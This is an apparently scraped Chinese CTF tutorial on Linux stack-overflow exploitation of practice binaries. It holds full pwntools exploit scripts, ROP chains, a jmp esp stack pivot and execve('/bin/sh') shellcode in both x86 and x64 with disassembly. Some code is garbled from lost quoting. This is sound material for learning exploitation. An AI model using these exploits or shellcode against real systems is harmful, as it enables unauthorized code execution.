上回說到,如何利用程序中system函數以及bin/sh字元串來進行pwn。這裡我們會介紹,如何在棧可執行而system函數以及參數沒有的情況下,如何自己布置payload進行pwn。此外,還提供了一份可以參考的pwn套路,套路熟悉了,即可慢慢轉化為熟悉。故此名曰:入門到熟練(二)。
所謂的入門到熟練,套路還是要有的。套路有了,就可以見招拆招。我們一步一步來。
拿到題,我們需要依次查看:
Pwn4題目地址。
發現堆棧不可以執行,其他到還好。那麼,我們在溢出時就需要再堆棧中部署的具有功能的地址,而不是具體的代碼了。理解成堆棧中需要布置路線圖,之後的程序按照這個路線圖來執行。
反之,如果堆棧可以執行,我們就要思考如何布置shellcode,如何優化shellcode長度以及刪除壞字元。(將在下一題的時候介紹)
發現是gets。這裡分享一個ctf-pwn-tips,裡面總結了很多的存在漏洞的函數,以及輸入參數的描述,非常實用。TIPS
有幾種方式。
我們可以直接從IDA的代碼中分析出來,參數距離EBP的位置。如上述,看到距離ebp是0x64(100)個的位元組,那麼距離存放返回地址的偏移就是100+4=104個位元組。但是,IDA的分析並不都是準確的,真正準確的位置,還是需要我們手動去調試。具體方法參考Linux PWN從入門到熟練。這裡簡單整理一下步驟(假設linux程序在虛擬機guest執行,IDA在主機host執行):
最終應該可以看到下面類似的結果。
$ python patternLocOffset.py -l 700 -s 0x41366441 [*] Create pattern string contains 700 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 108 (adjusted another-endian) [+] take time: 0.0004 s
發現實際的偏移是108個位元組,覆蓋點距離ebp。那麼距離返回地址就應該是108+4=112位元組。可見,IDA的分析有時是不準的,需要自己去測量。
發現有system的:
ROPgadget --binary ret2libc2 --string "/bin/sh" Strings information ============================================================
發現並沒有字元串了,因此這裡我們需要想個辦法。
直觀的想法是在shellcode中,在參數的位置直接放入字元串「/bin/sh」,比如下面這樣:
payload = flat([a * 112, system_plt, 0xabcdabcd, 「/bin/sh」])
但是正如我們前面所說,放在堆棧中的是程序執行的路線圖,而不是實際的程序或者字元串,因此,按照上述方式放置字元串,system並不會讀取」/bin/sh」,而是讀取」/bin/sh」對應的4個位元組的地址所指向的內存空間,這個空間明顯是不合法,因此就會導致利用失敗。
怎麼辦呢?我們發現程序中還載入了函數gets,那麼我們可以利用gets來讀取用戶輸入的」/bin/sh」放置到某個地址空間去,接著system再調用它。「某個地址空間」可以是下面的buf2,可以發現它的地址是0x0804A080。這個空間可以讓我們使用(感覺明顯是CTF題留出來的位置= =)
那麼,我們的exp可以按照下面的方式安排:
##!/usr/bin/env python from pwn import *
sh = process(./pwn4) shelf = ELF(./pwn4)
gets_plt = shelf.plt[gets] system_plt = shelf.plt[system] pop_ebp = 0x0804872f buf2 = 0x804a080 payload = flat( [a * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
sh.sendline(payload) sh.sendline(/bin/sh) sh.interactive()
其中關鍵的代碼是:
payload = flat( [a * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
相信有的朋友會不明白,為啥有個[gets_plt, pop_ebp, buf2],這樣的payload布置。Pop_ebp的主要目的是讓eip流向system的位置,並且取出system地址賦值給eip。
Pop_ebp其實不一定是pop ebp,pop任何其他的寄存器都可以,主要是利用該指令的esp+4的功能。比如,我們可以找到如下的位置,其中0x0804872f,0x0804843d都可以讓它esp+4操作一次就好,操作多了就流的多了,就不指向system地址了,注意我們這裡還要求得要返回ret一下,這樣才會實際的提取system的地址出來,賦值給eip:
@ubuntu:~/ $ ROPgadget --binary pwn4 --only pop|ret Gadgets information ============================================================ 0x0804872f : pop ebp ; ret 0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804843d : pop ebx ; ret 0x0804872e : pop edi ; pop ebp ; ret 0x0804872d : pop esi ; pop edi ; pop ebp ; ret 0x08048426 : ret 0x0804857e : ret 0xeac1
Unique gadgets found: 7
未來更清楚一些,畫了一個圖,其中序號的順序表示,對應的命令執行完之後,esp對應的位置。
接下來這題,我們再輕鬆一點,可以直接在堆棧中執行程序。
pwn5
繼續前面的套路。
發現,可以直接在堆棧上執行程序了,開啟的是PIE,地址隨機化的保護。
發現函數是read,僅僅讀取0x40(64)個位元組。
EBP的內容為:0x3761413661413561
$ python patternLocOffset.py -l 700 -s 0x3761413661413561 [*] Create pattern string contains 700 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 16 (adjusted another-endian) [+] take time: 0.0005 s
距離EBP的偏移是16個位元組,距離存放的返回地址是16+8=24個位元組。
這裡可以發現IDA分析的又是正確的了,0x10個位元組。
如system,execve等
發現,並沒有上述函數。但是由於堆棧可以執行,因此我們可以考慮直接將shellcode阻止在payload裡面。因此,這裡和第五步分析是否有字元串/bin/sh合併了,我們可以自己放置字元串,並且調用對應的地址了。
理論上,我們可以直接利用pwntools產生的shellcode來進行部署,但是這道題有點特殊。在返回地址之後所剩餘的空間=64-24-8=32個位元組(返回地址還要佔用8個位元組),因此實際部署shellcode的長度還剩下32個位元組,使用pwntools產生的shellcode有44個位元組,太長了。因此,我們可以從網上找到更短的shellcode:
# 23 bytes # https://www.exploit-db.com/exploits/36858/ shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
它的彙編形式是
# char *const argv[] xorl %esi, %esi # h s / / n i b / movq $0x68732f2f6e69622f, %rbx # for x00 pushq %rsi pushq %rbx pushq %rsp # const char *filename popq %rdi # __NR_execve 59 pushq $59 popq %rax # char *const envp[] xorl %edx, %edx syscall
好了,shellcode確定好了,我們現在還有一個問題。Shellcode執行的地址如何確定呢?shellcode的地址,其實就是buf的地址加上32個位元組的偏移。
我們前面發現,該程序是動態改變地址的,因此靜態的確認buf地址是不可行的,進而靜態的確認shellcode的地址是不可行的。
處理到這裡好像有點死胡同了,我們發現程序中有printf函數,理論上可以利用它來列印buf的地址,然後實時的計算buf+32的地址,就能夠得到shellcode的地址。但是,我們回頭看看程序本身的執行,會發現:
它實際上已經為我們解決了這個問題,自己輸出了buf的地址(= = CTF題目的難易程度真的是微妙之間呀)
那麼,我們的exp思路就是: 實時讀取buf的地址,計算buf+32得到shellcode的地址,放置在payload中。
from pwn import * code = ELF(./pwn5)
# 23 bytes # https://www.exploit-db.com/exploits/36858/ shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05" sh.recvuntil([) buf_addr = sh.recvuntil(], drop=True) buf_addr = int(buf_addr, 16) payload = b * 24 + p64(buf_addr + 32) + shellcode_x64 sh.sendline(payload) sh.interactive()
堆棧的布置圖,以及地址的相對位置,以buf為起點。
接下來,我們來點有難度的。在這個程序中,我們的payload實在放不下了,即使是23位元組,那麼怎麼辦呢?
pwn6
繼續前面的過程:
發現,是個三無程序。么有任何保護,看起來很簡單?哈哈,並沒有。看官請繼續。
如gets,scanf等
發現是fgets函數,僅僅讀取50個位元組的字元長度。
計算目標變數的在堆棧中距離ebp的偏移。
方法和前面類似,發現偏移距離ebp是0x20,那麼距離ret_addr就是0x20+4=0x24(36)位元組了。
分析是否已經載入了可以利用的函數。發現並沒有
$ ROPgadget --binary stack_pivoting_1 --string /bin/sh Strings information ============================================================
字元串自然也是沒有的。
我們考慮利用shellcode,好像可以類似於上一題的操作了。但是並不能,留給我們布置shellcode的長度為50-36-4=10位元組(同樣有4個位元組的返回地址存放)!尷尬不==,放兩個地址就沒有位置了。但如果你能夠厲害到用10個位元組做shellcode,請大膽分享出來!
那麼怎麼辦呢?
既然,堆棧溢出的位置不行了,那麼我們就把shellcode放在棧裡面吧!因為堆棧具有可執行的許可權,因此這樣完全是可行的。
這裡,我先放圖出來解釋一下思路:
我們這樣就總共有0x20(36個位元組)的位置存放shellcode的了,頓時感覺找到了新出路。但是,要做到跳轉到放置shellcode的位置,似乎並沒有那麼簡單。要達到這個目的,我們需要做到以下幾件事情:
首先,第一點,shellcode的位置就是發射payload的時候esp_old的位置,我們可以推算出來,當程序提取完返回地址之後,esp指向的地址距離esp_old的地址為0x20+4(ebp)+4(ret_addr)=0x28。因此,我們需要用當前的esp-0x28,得到的就是shellcode的地址。
對於第二點,我們如何讓eip順利的依次取出我們設計好的路線圖呢?在ret_addr,我們需要尋找到一個gadget,它能夠跳轉到esp的位置,以繼續往後執行棧上的代碼。注意,這裡我們為什麼不直接將可執行的代碼布置在ret_addr的位置,因為這裡是原本的函數提取返回函數地址的地方,它並不會執行這裡位置的代碼,而是執行這個位置的內容指向的地址的代碼。我們需要jmp esp這個操作,來讓程序流獲得在棧上執行的先河。
$ ROPgadget --binary stack_pivoting_1 --only jmp|ret | grep esp 0x08048504 : jmp esp
發現只有這麼一個地址。0x08048504。這也正是圖中的位置。注意,當我們取出ret_addr裡面的地址的時候,esp已經+4了,因此就會指向我們的下一步操作:跳轉回esp_old的位置。
在這裡,我們直接可以選擇讓pwntools產生可執行的代碼」sub esp 0x28; jmp esp」。注意,這裡可以是直接運行的代碼,因為我們的程序已經開始在棧上執行了,而不再是取出地址了。
最後的EXP按照下面這樣布置:
from pwn import *
sh = process(./pwn6)
shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73" shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0" shellcode_x86 += "x0bxcdx80"
sub_esp_jmp = asm(sub esp, 0x28;jmp esp) jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * b + bbbb + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive()
注意,這裡我們又啟用了另外一段代碼:
它更加短,只有21個位元組。Shellcode越短是越好的。它的彙編對應如下:
shellcode_x86 = "x31xc9」 # xor ecx, ecx shellcode_x86 += 「xf7xe1」 # mul ecx shellcode_x86 += 「x51」 # push ecx shellcode_x86 += "x68x2fx2fx73x68" # push 0x68732f2f shellcode_x86 += "x68x2fx62x69x6e" # push 0x6e69622f shellcode_x86 += 「x89xe3」 # mov ebx, esp shellcode_x86 += 「xb0x0b」 # mov al, 0xb shellcode_x86 += "xcdx80" # int 0x80
最後,再次給大家留下練習題。
pwn7
給大家一個小tips,32位和64位程序的調試,一般的處理方式是準備兩個虛擬機。但是這樣操作太麻煩了,而且pwntools在32位下面經常無法正常工作。怎麼辦呢?理論上64位ubuntu是可以運行32位程序的,但是需要相關的庫函數安裝。使用下面的命令安裝就好(參考):
sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386
如果是比較老的版本,可以用下面的命令:
sudo apt-get install ia32-libs
如果大家覺得好,歡迎大家來我的github主頁follow: desword_github,desword